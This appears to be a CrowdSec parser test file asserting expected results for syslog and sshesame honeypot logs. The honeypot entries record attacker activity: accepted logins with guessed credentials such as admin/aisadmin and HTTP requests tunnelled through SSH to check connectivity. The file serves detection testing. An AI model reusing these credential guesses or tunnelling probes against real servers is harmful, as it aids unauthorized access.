results["s00-raw"]["crowdsecurity/syslog-logs"][63].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][64].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][65].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][66].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][67].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][68].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][69].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][70].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][71].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][72].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][73].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][74].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][75].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][76].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][77].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][78].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][79].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][80].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][81].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][82].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][83].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][84].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][85].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][86].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][87].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][88].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][89].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][90].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][91].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][92].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][93].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][94].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][95].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][96].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][97].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][98].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][99].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][100].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][101].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][102].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][103].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][104].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][105].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][106].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][107].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][108].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][109].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][110].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][111].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][112].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][113].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][114].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][115].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][116].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][117].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][118].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][119].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][120].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][121].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][122].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][123].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][124].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][125].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][126].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][127].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][128].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][129].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][130].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][131].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][132].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][133].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][134].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][135].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][136].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][137].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][138].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][139].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][140].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][141].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][142].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][143].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][144].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][145].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][146].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][147].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][148].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][149].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][150].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][151].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][152].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][153].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][154].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][155].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][156].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][157].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][158].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][159].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][160].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][161].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][162].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][163].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][164].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][165].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][166].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][167].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][168].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][169].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][170].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][171].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][172].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][173].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][174].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][175].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][176].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][177].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][178].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][179].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][180].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][181].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][182].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][183].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][184].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][185].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][186].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][187].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][188].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][189].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][190].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][191].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][192].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][193].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][194].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][195].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][196].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][197].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][198].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][199].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][200].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][201].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][202].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][203].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][204].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][205].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][206].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][207].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][208].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][209].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][210].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][211].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][212].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][213].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][214].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][215].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][216].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][217].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][218].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][219].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][220].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][221].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][222].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][223].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][224].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][225].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][226].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][227].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][228].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][229].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][230].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][231].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][232].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][233].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][234].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][235].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][236].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][237].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][238].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][239].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][240].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][241].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][242].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][243].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][244].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][245].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][246].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][247].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][248].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][249].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][250].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][251].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][252].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][253].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][254].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][255].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][256].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][257].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][258].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][259].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][260].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][261].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][262].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][263].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][264].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][265].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][266].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][267].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][268].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][269].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][270].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][271].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][272].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][273].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][274].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][275].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][276].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][277].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][278].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][279].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][280].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][281].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][282].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][283].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][284].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][285].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][286].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][287].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][288].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][289].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][290].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][291].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][292].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][293].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][294].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][295].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][296].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][297].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][298].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][299].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][300].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][301].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][302].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][303].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][304].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][305].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][306].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][307].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][308].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][309].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][310].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][311].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][312].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][313].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][314].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][315].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][316].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][317].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][318].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][319].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][320].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][321].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][322].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][323].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][324].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][325].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][326].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][327].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][328].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][329].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][330].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][331].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][332].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][333].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][334].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][335].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][336].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][337].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][338].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][339].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][340].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][341].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][342].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][343].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][344].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][345].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][346].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][347].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][348].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][349].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][350].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][351].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][352].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][353].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][354].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][355].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][356].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][357].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][358].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][359].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][360].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][361].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][362].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][363].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][364].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][365].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][366].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][367].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][368].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][369].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][370].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][371].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][372].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][373].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][374].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][375].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][376].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][377].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][378].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][379].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][380].Success == false len(results["s01-parse"]["thespad/sshesame-logs"]) == 381 results["s01-parse"]["thespad/sshesame-logs"][0].Success == false results["s01-parse"]["thespad/sshesame-logs"][1].Success == true results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Parsed["sshesame_input"] == "GET /?requestid=53219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Parsed["timestamp"] == "2022/05/06 04:53:57" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Parsed["message"] == "2022/05/06 04:53:57 [190.2.139.67:58629] [channel 106] input: \"GET /?requestid=53219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Meta["input"] == "GET /?requestid=53219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][1].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][2].Success == false results["s01-parse"]["thespad/sshesame-logs"][3].Success == false results["s01-parse"]["thespad/sshesame-logs"][4].Success == true results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Parsed["message"] == "2022/05/06 04:58:33 [190.2.139.67:7117] [channel 63] input: \"GET /?requestid=61619 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Parsed["sshesame_input"] == "GET /?requestid=61619 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Parsed["timestamp"] == "2022/05/06 04:58:33" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Meta["input"] == "GET /?requestid=61619 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][4].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][5].Success == false results["s01-parse"]["thespad/sshesame-logs"][6].Success == false results["s01-parse"]["thespad/sshesame-logs"][7].Success == true results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Parsed["sshesame_password"] == "aisadmin" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Parsed["sshesame_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Parsed["timestamp"] == "2022/05/06 05:10:03" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Meta["target_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Meta["username"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][7].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][8].Success == false results["s01-parse"]["thespad/sshesame-logs"][9].Success == false results["s01-parse"]["thespad/sshesame-logs"][10].Success == true results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Parsed["timestamp"] == "2022/05/06 05:10:03" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][10].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][11].Success == false results["s01-parse"]["thespad/sshesame-logs"][12].Success == false results["s01-parse"]["thespad/sshesame-logs"][13].Success == true results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Parsed["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Parsed["timestamp"] == "2022/05/06 05:10:03" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Meta["source_ip"] == "195.3.147.60" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][13].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][14].Success == false results["s01-parse"]["thespad/sshesame-logs"][15].Success == false results["s01-parse"]["thespad/sshesame-logs"][16].Success == false results["s01-parse"]["thespad/sshesame-logs"][17].Success == true results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Parsed["sshesame_password"] == "1" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Parsed["sshesame_user"] == "default" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Parsed["timestamp"] == "2022/05/06 05:11:02" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Parsed["message"] == "2022/05/06 05:11:02 [185.131.12.144:60273] authentication for user \"default\" with password \"1\" accepted" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Parsed["source_ip"] == "185.131.12.144" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Meta["source_ip"] == "185.131.12.144" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Meta["target_user"] == "default" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Meta["username"] == "default" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][17].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][18].Success == false 